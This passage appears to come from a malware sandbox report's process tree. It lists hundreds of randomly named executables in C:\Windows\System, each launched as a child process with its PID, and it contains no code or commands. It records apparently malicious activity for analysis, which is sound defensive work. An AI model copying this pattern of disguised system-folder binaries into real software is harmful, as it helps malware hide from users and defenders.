  C:\Windows\System\kBFdImz.exe
  2⤵
  PID:5064
- C:\Windows\System\GfCNKrK.exe
  C:\Windows\System\GfCNKrK.exe
  2⤵
  PID:5080
- C:\Windows\System\GCLUxvV.exe
  C:\Windows\System\GCLUxvV.exe
  2⤵
  PID:5096
- C:\Windows\System\mnQaelz.exe
  C:\Windows\System\mnQaelz.exe
  2⤵
  PID:3968
- C:\Windows\System\sILfgQA.exe
  C:\Windows\System\sILfgQA.exe
  2⤵
  PID:3784
- C:\Windows\System\gfnjdUh.exe
  C:\Windows\System\gfnjdUh.exe
  2⤵
  PID:2180
- C:\Windows\System\ymzIPjH.exe
  C:\Windows\System\ymzIPjH.exe
  2⤵
  PID:3164
- C:\Windows\System\DGHHIXr.exe
  C:\Windows\System\DGHHIXr.exe
  2⤵
  PID:2272
- C:\Windows\System\tVTEpyp.exe
  C:\Windows\System\tVTEpyp.exe
  2⤵
  PID:2756
- C:\Windows\System\PrNQXxb.exe
  C:\Windows\System\PrNQXxb.exe
  2⤵
  PID:2132
- C:\Windows\System\bppRToK.exe
  C:\Windows\System\bppRToK.exe
  2⤵
  PID:3884
- C:\Windows\System\krnEhPK.exe
  C:\Windows\System\krnEhPK.exe
  2⤵
  PID:468
- C:\Windows\System\MVsFNRn.exe
  C:\Windows\System\MVsFNRn.exe
  2⤵
  PID:4088
- C:\Windows\System\LLKeXDm.exe
  C:\Windows\System\LLKeXDm.exe
  2⤵
  PID:4112
- C:\Windows\System\aMtckVq.exe
  C:\Windows\System\aMtckVq.exe
  2⤵
  PID:3132
- C:\Windows\System\bBRHpcN.exe
  C:\Windows\System\bBRHpcN.exe
  2⤵
  PID:4176
- C:\Windows\System\frOyfBA.exe
  C:\Windows\System\frOyfBA.exe
  2⤵
  PID:3652
- C:\Windows\System\qntNagB.exe
  C:\Windows\System\qntNagB.exe
  2⤵
  PID:2720
- C:\Windows\System\oBsBzzP.exe
  C:\Windows\System\oBsBzzP.exe
  2⤵
  PID:3464
- C:\Windows\System\tRMJiTR.exe
  C:\Windows\System\tRMJiTR.exe
  2⤵
  PID:4200
- C:\Windows\System\wKnzqYW.exe
  C:\Windows\System\wKnzqYW.exe
  2⤵
  PID:4220
- C:\Windows\System\yNuPPkt.exe
  C:\Windows\System\yNuPPkt.exe
  2⤵
  PID:4268
- C:\Windows\System\HgRCxhM.exe
  C:\Windows\System\HgRCxhM.exe
  2⤵
  PID:4252
- C:\Windows\System\GEsnWbH.exe
  C:\Windows\System\GEsnWbH.exe
  2⤵
  PID:4292
- C:\Windows\System\IXroMaI.exe
  C:\Windows\System\IXroMaI.exe
  2⤵
  PID:4368
- C:\Windows\System\Egpielg.exe
  C:\Windows\System\Egpielg.exe
  2⤵
  PID:4412
- C:\Windows\System\PNmpbwu.exe
  C:\Windows\System\PNmpbwu.exe
  2⤵
  PID:4444
- C:\Windows\System\pGiPXew.exe
  C:\Windows\System\pGiPXew.exe
  2⤵
  PID:4488
- C:\Windows\System\ZjzEBwM.exe
  C:\Windows\System\ZjzEBwM.exe
  2⤵
  PID:4520
- C:\Windows\System\ENhmdRV.exe
  C:\Windows\System\ENhmdRV.exe
  2⤵
  PID:4536
- C:\Windows\System\TsbZQvD.exe
  C:\Windows\System\TsbZQvD.exe
  2⤵
  PID:4616
- C:\Windows\System\PhbbonN.exe
  C:\Windows\System\PhbbonN.exe
  2⤵
  PID:4720
- C:\Windows\System\CgKevIh.exe
  C:\Windows\System\CgKevIh.exe
  2⤵
  PID:4652
- C:\Windows\System\znMnqEn.exe
  C:\Windows\System\znMnqEn.exe
  2⤵
  PID:4792
- C:\Windows\System\LtMCjxd.exe
  C:\Windows\System\LtMCjxd.exe
  2⤵
  PID:4740
- C:\Windows\System\fCnLGtb.exe
  C:\Windows\System\fCnLGtb.exe
  2⤵
  PID:4672
- C:\Windows\System\ZhHSldm.exe
  C:\Windows\System\ZhHSldm.exe
  2⤵
  PID:4632
- C:\Windows\System\Kwndftw.exe
  C:\Windows\System\Kwndftw.exe
  2⤵
  PID:4812
- C:\Windows\System\nEHIbZz.exe
  C:\Windows\System\nEHIbZz.exe
  2⤵
  PID:4796
- C:\Windows\System\QbPncQt.exe
  C:\Windows\System\QbPncQt.exe
  2⤵
  PID:4852
- C:\Windows\System\kiZdKNG.exe
  C:\Windows\System\kiZdKNG.exe
  2⤵
  PID:4868
- C:\Windows\System\NfJOTub.exe
  C:\Windows\System\NfJOTub.exe
  2⤵
  PID:4988
- C:\Windows\System\zMvrekx.exe
  C:\Windows\System\zMvrekx.exe
  2⤵
  PID:5052
- C:\Windows\System\kuAJROG.exe
  C:\Windows\System\kuAJROG.exe
  2⤵
  PID:5076
- C:\Windows\System\ZZWTazf.exe
  C:\Windows\System\ZZWTazf.exe
  2⤵
  PID:5108
- C:\Windows\System\Oizdzid.exe
  C:\Windows\System\Oizdzid.exe
  2⤵
  PID:3384
- C:\Windows\System\ZoFtbgi.exe
  C:\Windows\System\ZoFtbgi.exe
  2⤵
  PID:4864
- C:\Windows\System\oWoBhmr.exe
  C:\Windows\System\oWoBhmr.exe
  2⤵
  PID:3184
- C:\Windows\System\HBYBsMl.exe
  C:\Windows\System\HBYBsMl.exe
  2⤵
  PID:1476
- C:\Windows\System\GkUdYIp.exe
  C:\Windows\System\GkUdYIp.exe
  2⤵
  PID:1664
- C:\Windows\System\amBwVEs.exe
  C:\Windows\System\amBwVEs.exe
  2⤵
  PID:2668
- C:\Windows\System\eznLixi.exe
  C:\Windows\System\eznLixi.exe
  2⤵
  PID:2512
- C:\Windows\System\xtfyBmy.exe
  C:\Windows\System\xtfyBmy.exe
  2⤵
  PID:3600
- C:\Windows\System\VqagKre.exe
  C:\Windows\System\VqagKre.exe
  2⤵
  PID:4148
- C:\Windows\System\llDxSXn.exe
  C:\Windows\System\llDxSXn.exe
  2⤵
  PID:3640
- C:\Windows\System\fiUhlYf.exe
  C:\Windows\System\fiUhlYf.exe
  2⤵
  PID:3436
- C:\Windows\System\ygoiByK.exe
  C:\Windows\System\ygoiByK.exe
  2⤵
  PID:552
- C:\Windows\System\RjOoMIi.exe
  C:\Windows\System\RjOoMIi.exe
  2⤵
  PID:3556
- C:\Windows\System\goNpqCD.exe
  C:\Windows\System\goNpqCD.exe
  2⤵
  PID:4212
- C:\Windows\System\ZRqefbN.exe
  C:\Windows\System\ZRqefbN.exe
  2⤵
  PID:4324
- C:\Windows\System\ljhnogK.exe
  C:\Windows\System\ljhnogK.exe
  2⤵
  PID:4372
- C:\Windows\System\yIxUUSg.exe
  C:\Windows\System\yIxUUSg.exe
  2⤵
  PID:4256
- C:\Windows\System\eGXpJoN.exe
  C:\Windows\System\eGXpJoN.exe
  2⤵
  PID:4388
- C:\Windows\System\FnIPokS.exe
  C:\Windows\System\FnIPokS.exe
  2⤵
  PID:3420
- C:\Windows\System\Ztdttbv.exe
  C:\Windows\System\Ztdttbv.exe
  2⤵
  PID:4472
- C:\Windows\System\xuQrsIx.exe
  C:\Windows\System\xuQrsIx.exe
  2⤵
  PID:4532
- C:\Windows\System\zdlqimA.exe
  C:\Windows\System\zdlqimA.exe
  2⤵
  PID:4556
- C:\Windows\System\YBZhFSk.exe
  C:\Windows\System\YBZhFSk.exe
  2⤵
  PID:4588
- C:\Windows\System\kyuDWXa.exe
  C:\Windows\System\kyuDWXa.exe
  2⤵
  PID:4756
- C:\Windows\System\oaEprUP.exe
  C:\Windows\System\oaEprUP.exe
  2⤵
  PID:4708
- C:\Windows\System\DwLPtzC.exe
  C:\Windows\System\DwLPtzC.exe
  2⤵
  PID:4704
- C:\Windows\System\kODzpvy.exe
  C:\Windows\System\kODzpvy.exe
  2⤵
  PID:4884
- C:\Windows\System\CgxctRI.exe
  C:\Windows\System\CgxctRI.exe
  2⤵
  PID:4844
- C:\Windows\System\PWIhCPF.exe
  C:\Windows\System\PWIhCPF.exe
  2⤵
  PID:4816
- C:\Windows\System\GsLcGVO.exe
  C:\Windows\System\GsLcGVO.exe
  2⤵
  PID:4920
- C:\Windows\System\SkemQdS.exe
  C:\Windows\System\SkemQdS.exe
  2⤵
  PID:4976
- C:\Windows\System\zwOCyAx.exe
  C:\Windows\System\zwOCyAx.exe
  2⤵
  PID:4992
- C:\Windows\System\NfrmvvB.exe
  C:\Windows\System\NfrmvvB.exe
  2⤵
  PID:5060
- C:\Windows\System\cWeiXbj.exe
  C:\Windows\System\cWeiXbj.exe
  2⤵
  PID:5088
- C:\Windows\System\jEXdkVX.exe
  C:\Windows\System\jEXdkVX.exe
  2⤵
  PID:580
- C:\Windows\System\bnUMJfd.exe
  C:\Windows\System\bnUMJfd.exe
  2⤵
  PID:4004
- C:\Windows\System\hefEHFL.exe
  C:\Windows\System\hefEHFL.exe
  2⤵
  PID:1724
- C:\Windows\System\NpMpGzT.exe
  C:\Windows\System\NpMpGzT.exe
  2⤵
  PID:4240
- C:\Windows\System\RnWJrRl.exe
  C:\Windows\System\RnWJrRl.exe
  2⤵
  PID:4888
- C:\Windows\System\MeJMGLN.exe
  C:\Windows\System\MeJMGLN.exe
  2⤵
  PID:5028
- C:\Windows\System\LdeExGl.exe
  C:\Windows\System\LdeExGl.exe
  2⤵
  PID:4428
- C:\Windows\System\clYolcf.exe
  C:\Windows\System\clYolcf.exe
  2⤵
  PID:4640
- C:\Windows\System\QQDQrrg.exe
  C:\Windows\System\QQDQrrg.exe
  2⤵
  PID:3084
- C:\Windows\System\PuqlVOG.exe
  C:\Windows\System\PuqlVOG.exe
  2⤵
  PID:4140
- C:\Windows\System\GQlppFt.exe
  C:\Windows\System\GQlppFt.exe
  2⤵
  PID:2708
- C:\Windows\System\fKsehYD.exe
  C:\Windows\System\fKsehYD.exe
  2⤵
  PID:4828
- C:\Windows\System\FFJBqTq.exe
  C:\Windows\System\FFJBqTq.exe
  2⤵
  PID:4584
- C:\Windows\System\IAHlkSm.exe
  C:\Windows\System\IAHlkSm.exe
  2⤵
  PID:4508
- C:\Windows\System\kcZSpnu.exe
  C:\Windows\System\kcZSpnu.exe
  2⤵
  PID:4376
- C:\Windows\System\ilrDZVs.exe
  C:\Windows\System\ilrDZVs.exe
  2⤵
  PID:3768
- C:\Windows\System\DzXdSzo.exe
  C:\Windows\System\DzXdSzo.exe
  2⤵
  PID:2920
- C:\Windows\System\FLgfuJM.exe
  C:\Windows\System\FLgfuJM.exe
  2⤵
  PID:5016
- C:\Windows\System\SsgiJvs.exe
  C:\Windows\System\SsgiJvs.exe
  2⤵
  PID:5116
- C:\Windows\System\lUEuqUv.exe
  C:\Windows\System\lUEuqUv.exe
  2⤵
  PID:4184
- C:\Windows\System\kZceOxV.exe
  C:\Windows\System\kZceOxV.exe
  2⤵
  PID:4128
- C:\Windows\System\kbppPBI.exe
  C:\Windows\System\kbppPBI.exe
  2⤵
  PID:4944
- C:\Windows\System\iYcvCjH.exe
  C:\Windows\System\iYcvCjH.exe
  2⤵
  PID:4752
- C:\Windows\System\BxNAHoI.exe
  C:\Windows\System\BxNAHoI.exe
  2⤵
  PID:5124
- C:\Windows\System\pSYEDzJ.exe
  C:\Windows\System\pSYEDzJ.exe
  2⤵
  PID:5140
- C:\Windows\System\YXHhSWy.exe
  C:\Windows\System\YXHhSWy.exe
  2⤵
  PID:5156
- C:\Windows\System\HCjhBdg.exe
  C:\Windows\System\HCjhBdg.exe
  2⤵
  PID:5176
- C:\Windows\System\KQhWVXK.exe
  C:\Windows\System\KQhWVXK.exe
  2⤵
  PID:5192
- C:\Windows\System\rVBxfEB.exe
  C:\Windows\System\rVBxfEB.exe
  2⤵
  PID:5208
- C:\Windows\System\xnEVMRP.exe
  C:\Windows\System\xnEVMRP.exe
  2⤵
  PID:5236
- C:\Windows\System\WBiriWi.exe
  C:\Windows\System\WBiriWi.exe
  2⤵
  PID:5276
- C:\Windows\System\iGhWAcH.exe
  C:\Windows\System\iGhWAcH.exe
  2⤵
  PID:5292
- C:\Windows\System\qSlikcx.exe
  C:\Windows\System\qSlikcx.exe
  2⤵
  PID:5312
- C:\Windows\System\FtFIMiE.exe
  C:\Windows\System\FtFIMiE.exe
  2⤵
  PID:5328
- C:\Windows\System\XmzGAUM.exe
  C:\Windows\System\XmzGAUM.exe
  2⤵
  PID:5344
- C:\Windows\System\QdPiPgj.exe
  C:\Windows\System\QdPiPgj.exe
  2⤵
  PID:5364
- C:\Windows\System\qmRHHlP.exe
  C:\Windows\System\qmRHHlP.exe
  2⤵
  PID:5380
- C:\Windows\System\PuEWGep.exe
  C:\Windows\System\PuEWGep.exe
  2⤵
  PID:5396
- C:\Windows\System\SHrpAjq.exe
  C:\Windows\System\SHrpAjq.exe
  2⤵
  PID:5412
- C:\Windows\System\CgPILdU.exe
  C:\Windows\System\CgPILdU.exe
  2⤵
  PID:5432
- C:\Windows\System\GNMPEXq.exe
  C:\Windows\System\GNMPEXq.exe
  2⤵
  PID:5448
- C:\Windows\System\lkvLWYZ.exe
  C:\Windows\System\lkvLWYZ.exe
  2⤵
  PID:5464
- C:\Windows\System\GgNyzhv.exe
  C:\Windows\System\GgNyzhv.exe
  2⤵
  PID:5484
- C:\Windows\System\UDqTpwS.exe
  C:\Windows\System\UDqTpwS.exe
  2⤵
  PID:5504
- C:\Windows\System\CfbmcIq.exe
  C:\Windows\System\CfbmcIq.exe
  2⤵
  PID:5520
- C:\Windows\System\djpJERu.exe
  C:\Windows\System\djpJERu.exe
  2⤵
  PID:5536
- C:\Windows\System\MGnuDFY.exe
  C:\Windows\System\MGnuDFY.exe
  2⤵
  PID:5556
- C:\Windows\System\fwiSRba.exe
  C:\Windows\System\fwiSRba.exe
  2⤵
  PID:5572
- C:\Windows\System\YekAVBB.exe
  C:\Windows\System\YekAVBB.exe
  2⤵
  PID:5588
- C:\Windows\System\hjKMuFe.exe
  C:\Windows\System\hjKMuFe.exe
  2⤵
  PID:5604
- C:\Windows\System\omVKlvx.exe
  C:\Windows\System\omVKlvx.exe
  2⤵
  PID:5620
- C:\Windows\System\DykYgiV.exe
  C:\Windows\System\DykYgiV.exe
  2⤵
  PID:5636
- C:\Windows\System\ICSQdAK.exe
  C:\Windows\System\ICSQdAK.exe
  2⤵
  PID:5660
- C:\Windows\System\ZMvpwUM.exe
  C:\Windows\System\ZMvpwUM.exe
  2⤵
  PID:5676
- C:\Windows\System\HzWbDEb.exe
  C:\Windows\System\HzWbDEb.exe
  2⤵
  PID:5692
- C:\Windows\System\NTOsNCl.exe
  C:\Windows\System\NTOsNCl.exe
  2⤵
  PID:5708
- C:\Windows\System\dXVgBts.exe
  C:\Windows\System\dXVgBts.exe
  2⤵
  PID:5724
- C:\Windows\System\KiDcxVs.exe
  C:\Windows\System\KiDcxVs.exe
  2⤵
  PID:5740
- C:\Windows\System\gaGTMMi.exe
  C:\Windows\System\gaGTMMi.exe
  2⤵
  PID:5760
- C:\Windows\System\dJFSirY.exe
  C:\Windows\System\dJFSirY.exe
  2⤵
  PID:5780
- C:\Windows\System\HnBAATT.exe
  C:\Windows\System\HnBAATT.exe
  2⤵
  PID:5796
- C:\Windows\System\EoVQtmr.exe
  C:\Windows\System\EoVQtmr.exe
  2⤵
  PID:5812
- C:\Windows\System\zhIGIXR.exe
  C:\Windows\System\zhIGIXR.exe
  2⤵
  PID:5828
- C:\Windows\System\gQadQgj.exe
  C:\Windows\System\gQadQgj.exe
  2⤵
  PID:5848
- C:\Windows\System\HYrUTMs.exe
  C:\Windows\System\HYrUTMs.exe
  2⤵
  PID:5864
- C:\Windows\System\TKTRFGT.exe
  C:\Windows\System\TKTRFGT.exe
  2⤵
  PID:5880
- C:\Windows\System\yWwxkxF.exe
  C:\Windows\System\yWwxkxF.exe
  2⤵
  PID:5896
- C:\Windows\System\QHdtzoM.exe
  C:\Windows\System\QHdtzoM.exe
  2⤵
  PID:5916
- C:\Windows\System\UMIhATj.exe
  C:\Windows\System\UMIhATj.exe
  2⤵
  PID:5932
- C:\Windows\System\ekhvGcN.exe
  C:\Windows\System\ekhvGcN.exe
  2⤵
  PID:5948
- C:\Windows\System\fULVjom.exe
  C:\Windows\System\fULVjom.exe
  2⤵
  PID:5964
- C:\Windows\System\pWghfOC.exe
  C:\Windows\System\pWghfOC.exe
  2⤵
  PID:5984
- C:\Windows\System\sRgvvKY.exe
  C:\Windows\System\sRgvvKY.exe
  2⤵
  PID:6000
- C:\Windows\System\iYVhbdr.exe
  C:\Windows\System\iYVhbdr.exe
  2⤵
  PID:6016
- C:\Windows\System\dlTqwAt.exe
  C:\Windows\System\dlTqwAt.exe
  2⤵
  PID:6032
- C:\Windows\System\LepcsUf.exe
  C:\Windows\System\LepcsUf.exe
  2⤵
  PID:6052
- C:\Windows\System\QLgOeIO.exe
  C:\Windows\System\QLgOeIO.exe
  2⤵
  PID:6068
- C:\Windows\System\gWsvpKk.exe
  C:\Windows\System\gWsvpKk.exe
  2⤵
  PID:6084
- C:\Windows\System\zVOaOCh.exe
  C:\Windows\System\zVOaOCh.exe
  2⤵
  PID:6100
- C:\Windows\System\mDpeBli.exe
  C:\Windows\System\mDpeBli.exe
  2⤵
  PID:6120
- C:\Windows\System\MzpBzOO.exe
  C:\Windows\System\MzpBzOO.exe
  2⤵
  PID:6136
- C:\Windows\System\iJPkhvl.exe
  C:\Windows\System\iJPkhvl.exe
  2⤵
  PID:3516
- C:\Windows\System\ufGHUeO.exe
  C:\Windows\System\ufGHUeO.exe
  2⤵
  PID:4504
- C:\Windows\System\ztxuDgL.exe
  C:\Windows\System\ztxuDgL.exe
  2⤵
  PID:5152
- C:\Windows\System\kAKwuZY.exe
  C:\Windows\System\kAKwuZY.exe
  2⤵
  PID:5216
- C:\Windows\System\rdtGkcL.exe
  C:\Windows\System\rdtGkcL.exe
  2⤵
  PID:5228
- C:\Windows\System\FyKlWiI.exe
  C:\Windows\System\FyKlWiI.exe
  2⤵
  PID:3836
- C:\Windows\System\PKouJed.exe
  C:\Windows\System\PKouJed.exe
  2⤵
  PID:5200
- C:\Windows\System\kJSmokK.exe
  C:\Windows\System\kJSmokK.exe
  2⤵
  PID:4552
- C:\Windows\System\oKhxbwL.exe
  C:\Windows\System\oKhxbwL.exe
  2⤵
  PID:2724
- C:\Windows\System\TyoTmIS.exe
  C:\Windows\System\TyoTmIS.exe
  2⤵
  PID:4972
- C:\Windows\System\cjwYtbm.exe
  C:\Windows\System\cjwYtbm.exe
  2⤵
  PID:4392
- C:\Windows\System\GMicOLl.exe
  C:\Windows\System\GMicOLl.exe
  2⤵
  PID:3852
- C:\Windows\System\uppMmuv.exe
  C:\Windows\System\uppMmuv.exe
  2⤵
  PID:4040
- C:\Windows\System\ovcMpCh.exe
  C:\Windows\System\ovcMpCh.exe
  2⤵
  PID:5260
- C:\Windows\System\tdIMCmI.exe
  C:\Windows\System\tdIMCmI.exe
  2⤵
  PID:5288
- C:\Windows\System\yPkcyNW.exe
  C:\Windows\System\yPkcyNW.exe
  2⤵
  PID:5300
- C:\Windows\System\OLabveS.exe
  C:\Windows\System\OLabveS.exe
  2⤵
  PID:5352
- C:\Windows\System\YQRgmrM.exe
  C:\Windows\System\YQRgmrM.exe
  2⤵
  PID:5388
- C:\Windows\System\dnyDSxb.exe
  C:\Windows\System\dnyDSxb.exe
  2⤵
  PID:5428
- C:\Windows\System\NEXfVRW.exe
  C:\Windows\System\NEXfVRW.exe
  2⤵
  PID:5500
- C:\Windows\System\rwfDFlQ.exe
  C:\Windows\System\rwfDFlQ.exe
  2⤵
  PID:5564
- C:\Windows\System\ZTTpHkl.exe
  C:\Windows\System\ZTTpHkl.exe
  2⤵
  PID:5628
- C:\Windows\System\gDIlHqp.exe
  C:\Windows\System\gDIlHqp.exe
  2⤵
  PID:5372
- C:\Windows\System\WgXbFpw.exe
  C:\Windows\System\WgXbFpw.exe
  2⤵
  PID:5440
- C:\Windows\System\QHCrhmO.exe
  C:\Windows\System\QHCrhmO.exe
  2⤵
  PID:5480
- C:\Windows\System\olWxeFn.exe
  C:\Windows\System\olWxeFn.exe
  2⤵
  PID:5584
- C:\Windows\System\fPYccay.exe
  C:\Windows\System\fPYccay.exe
  2⤵
  PID:5736
- C:\Windows\System\btwhPGJ.exe
  C:\Windows\System\btwhPGJ.exe
  2⤵
  PID:5804
- C:\Windows\System\tHPDjNS.exe
  C:\Windows\System\tHPDjNS.exe
  2⤵
  PID:5612
- C:\Windows\System\MrqniAO.exe
  C:\Windows\System\MrqniAO.exe
  2⤵
  PID:5752
- C:\Windows\System\FqTExVo.exe
  C:\Windows\System\FqTExVo.exe
  2⤵
  PID:5652
- C:\Windows\System\YOdqKOs.exe
  C:\Windows\System\YOdqKOs.exe
  2⤵
  PID:5788
- C:\Windows\System\wMrfkzq.exe
  C:\Windows\System\wMrfkzq.exe
  2⤵
  PID:5908
- C:\Windows\System\ZKAgFAF.exe
  C:\Windows\System\ZKAgFAF.exe
  2⤵
  PID:5944
- C:\Windows\System\GfylvyM.exe
  C:\Windows\System\GfylvyM.exe
  2⤵
  PID:5980
- C:\Windows\System\ImffuPn.exe
  C:\Windows\System\ImffuPn.exe
  2⤵
  PID:6048
- C:\Windows\System\XbTpAhf.exe
  C:\Windows\System\XbTpAhf.exe
  2⤵
  PID:6076
- C:\Windows\System\eygobdR.exe
  C:\Windows\System\eygobdR.exe
  2⤵
  PID:4860
- C:\Windows\System\oCbuxEQ.exe
  C:\Windows\System\oCbuxEQ.exe
  2⤵
  PID:5148
- C:\Windows\System\UxNbspv.exe
  C:\Windows\System\UxNbspv.exe
  2⤵
  PID:5220
- C:\Windows\System\BfhbDdn.exe
  C:\Windows\System\BfhbDdn.exe
  2⤵
  PID:5996
- C:\Windows\System\qKFfNEE.exe
  C:\Windows\System\qKFfNEE.exe
  2⤵
  PID:5956
- C:\Windows\System\LqsAzFU.exe
  C:\Windows\System\LqsAzFU.exe
  2⤵
  PID:4384
- C:\Windows\System\LtclRSn.exe
  C:\Windows\System\LtclRSn.exe
  2⤵
  PID:6096
- C:\Windows\System\ZRXUhyp.exe
  C:\Windows\System\ZRXUhyp.exe
  2⤵
  PID:4144
- C:\Windows\System\fThqizo.exe
  C:\Windows\System\fThqizo.exe
  2⤵
  PID:6132
- C:\Windows\System\dAnahXg.exe
  C:\Windows\System\dAnahXg.exe
  2⤵
  PID:5184
- C:\Windows\System\xhAdQjK.exe
  C:\Windows\System\xhAdQjK.exe
  2⤵
  PID:5132
- C:\Windows\System\ZMamqWk.exe
  C:\Windows\System\ZMamqWk.exe
  2⤵
  PID:5032
- C:\Windows\System\sTOIovK.exe
  C:\Windows\System\sTOIovK.exe
  2⤵
  PID:5420
- C:\Windows\System\DcWYwZo.exe
  C:\Windows\System\DcWYwZo.exe
  2⤵
  PID:5528
- C:\Windows\System\rDvQraL.exe
  C:\Windows\System\rDvQraL.exe
  2⤵
  PID:5672
- C:\Windows\System\AiGbGoA.exe
  C:\Windows\System\AiGbGoA.exe
  2⤵
  PID:5476
- C:\Windows\System\yZQRDnK.exe
  C:\Windows\System\yZQRDnK.exe
  2⤵
  PID:5616
- C:\Windows\System\sTzGBud.exe
  C:\Windows\System\sTzGBud.exe
  2⤵
  PID:5648
- C:\Windows\System\oTQUqrl.exe
  C:\Windows\System\oTQUqrl.exe
  2⤵
  PID:5360
- C:\Windows\System\AYoBKGV.exe
  C:\Windows\System\AYoBKGV.exe
  2⤵
  PID:5404
- C:\Windows\System\RrDMRxJ.exe
  C:\Windows\System\RrDMRxJ.exe
  2⤵
  PID:5976
- C:\Windows\System\VAixZMZ.exe
  C:\Windows\System\VAixZMZ.exe
  2⤵
  PID:5768
- C:\Windows\System\yEDzYuR.exe
  C:\Windows\System\yEDzYuR.exe
  2⤵
  PID:4308
- C:\Windows\System\JBHOSdm.exe
  C:\Windows\System\JBHOSdm.exe
  2⤵
  PID:6112
- C:\Windows\System\BFbdkWa.exe
  C:\Windows\System\BFbdkWa.exe
  2⤵
  PID:5716
- C:\Windows\System\vRpExNc.exe
  C:\Windows\System\vRpExNc.exe
  2⤵
  PID:6040
- C:\Windows\System\qjCnLsV.exe
  C:\Windows\System\qjCnLsV.exe
  2⤵
  PID:5992
- C:\Windows\System\GNGpKyc.exe
  C:\Windows\System\GNGpKyc.exe
  2⤵
  PID:4936
- C:\Windows\System\kduZCXg.exe
  C:\Windows\System\kduZCXg.exe
  2⤵
  PID:4340
- C:\Windows\System\YQtpkEt.exe
  C:\Windows\System\YQtpkEt.exe
  2⤵
  PID:5424
- C:\Windows\System\PxHTEqi.exe
  C:\Windows\System\PxHTEqi.exe
  2⤵
  PID:5492
- C:\Windows\System\IQzJEyZ.exe
  C:\Windows\System\IQzJEyZ.exe
  2⤵
  PID:4156
- C:\Windows\System\GzsKLZT.exe
  C:\Windows\System\GzsKLZT.exe
  2⤵
  PID:4460
- C:\Windows\System\fsnVzDe.exe
  C:\Windows\System\fsnVzDe.exe
  2⤵
  PID:6108
- C:\Windows\System\fZbmFcb.exe
  C:\Windows\System\fZbmFcb.exe
  2⤵
  PID:6028
- C:\Windows\System\KUjkBPP.exe
  C:\Windows\System\KUjkBPP.exe
  2⤵
  PID:5516
- C:\Windows\System\bHGZHJX.exe
  C:\Windows\System\bHGZHJX.exe
  2⤵
  PID:5356
- C:\Windows\System\ZhmCzkT.exe
  C:\Windows\System\ZhmCzkT.exe
  2⤵
  PID:5548
- C:\Windows\System\sdDfBeQ.exe
  C:\Windows\System\sdDfBeQ.exe
  2⤵
  PID:5836
- C:\Windows\System\sUQdSWr.exe
  C:\Windows\System\sUQdSWr.exe
  2⤵
  PID:4108
- C:\Windows\System\mgMuqTT.exe
  C:\Windows\System\mgMuqTT.exe
  2⤵
  PID:6092
- C:\Windows\System\YNQIiPR.exe
  C:\Windows\System\YNQIiPR.exe
  2⤵
  PID:5912
- C:\Windows\System\eApcDZQ.exe
  C:\Windows\System\eApcDZQ.exe
  2⤵
  PID:6128
- C:\Windows\System\vonyquK.exe
  C:\Windows\System\vonyquK.exe
  2⤵
  PID:5928
- C:\Windows\System\STgfEsA.exe
  C:\Windows\System\STgfEsA.exe
  2⤵
  PID:5256
- C:\Windows\System\GXQguTm.exe
  C:\Windows\System\GXQguTm.exe
  2⤵
  PID:5732
- C:\Windows\System\fFiuMCn.exe
  C:\Windows\System\fFiuMCn.exe
  2⤵
  PID:6148
- C:\Windows\System\FeXeMOM.exe
  C:\Windows\System\FeXeMOM.exe
  2⤵
  PID:6164
- C:\Windows\System\gyApQxV.exe
  C:\Windows\System\gyApQxV.exe
  2⤵
  PID:6180
- C:\Windows\System\HTssKRa.exe
  C:\Windows\System\HTssKRa.exe
  2⤵
  PID:6200
- C:\Windows\System\mhfcyhr.exe
  C:\Windows\System\mhfcyhr.exe
  2⤵
  PID:6216
- C:\Windows\System\NQZnExG.exe
  C:\Windows\System\NQZnExG.exe
  2⤵
  PID:6236
- C:\Windows\System\KXZGnYQ.exe
  C:\Windows\System\KXZGnYQ.exe
  2⤵
  PID:6252
- C:\Windows\System\NLZZVth.exe
  C:\Windows\System\NLZZVth.exe
  2⤵
  PID:6268
- C:\Windows\System\KcZIvFe.exe
  C:\Windows\System\KcZIvFe.exe
  2⤵
  PID:6284
- C:\Windows\System\iswISUa.exe
  C:\Windows\System\iswISUa.exe
  2⤵
  PID:6304
- C:\Windows\System\gqBFbka.exe
  C:\Windows\System\gqBFbka.exe
  2⤵
  PID:6320
- C:\Windows\System\xtShYhW.exe
  C:\Windows\System\xtShYhW.exe
  2⤵
  PID:6336
- C:\Windows\System\wyobOZX.exe
  C:\Windows\System\wyobOZX.exe
  2⤵
  PID:6352
- C:\Windows\System\WXgWUmM.exe
  C:\Windows\System\WXgWUmM.exe
  2⤵
  PID:6372
- C:\Windows\System\jYRfFxQ.exe
  C:\Windows\System\jYRfFxQ.exe
  2⤵
  PID:6388
- C:\Windows\System\EJBWTuq.exe
  C:\Windows\System\EJBWTuq.exe
  2⤵
  PID:6404
- C:\Windows\System\SYRFhCd.exe
  C:\Windows\System\SYRFhCd.exe
  2⤵
  PID:6428
- C:\Windows\System\HykKDUN.exe
  C:\Windows\System\HykKDUN.exe
  2⤵
  PID:6548
- C:\Windows\System\nUOdVqh.exe
  C:\Windows\System\nUOdVqh.exe
  2⤵
  PID:6568
- C:\Windows\System\VHOmRAn.exe
  C:\Windows\System\VHOmRAn.exe
  2⤵
  PID:6588
- C:\Windows\System\kvqkTlq.exe
  C:\Windows\System\kvqkTlq.exe
  2⤵
  PID:6604
- C:\Windows\System\virqaao.exe
  C:\Windows\System\virqaao.exe
  2⤵
  PID:6620
- C:\Windows\System\FvTddut.exe
  C:\Windows\System\FvTddut.exe
  2⤵
  PID:6640
- C:\Windows\System\YxaChMC.exe
  C:\Windows\System\YxaChMC.exe
  2⤵
  PID:6656
- C:\Windows\System\DhfeDmA.exe
  C:\Windows\System\DhfeDmA.exe
  2⤵
  PID:6684
- C:\Windows\System\YSDKfFL.exe
  C:\Windows\System\YSDKfFL.exe
  2⤵
  PID:6700
- C:\Windows\System\bmSFJJY.exe
  C:\Windows\System\bmSFJJY.exe
  2⤵
  PID:6716
- C:\Windows\System\GsPpxOV.exe
  C:\Windows\System\GsPpxOV.exe
  2⤵
  PID:6732
- C:\Windows\System\YXsshXZ.exe
  C:\Windows\System\YXsshXZ.exe
  2⤵
  PID:6748
- C:\Windows\System\PANzTSz.exe
  C:\Windows\System\PANzTSz.exe
  2⤵
  PID:6764
- C:\Windows\System\zsHhkYg.exe
  C:\Windows\System\zsHhkYg.exe
  2⤵
  PID:6780
- C:\Windows\System\RMGPrvu.exe
  C:\Windows\System\RMGPrvu.exe
  2⤵
  PID:6796
- C:\Windows\System\MphbKpW.exe
  C:\Windows\System\MphbKpW.exe
  2⤵
  PID:6812
- C:\Windows\System\oUyxUnH.exe
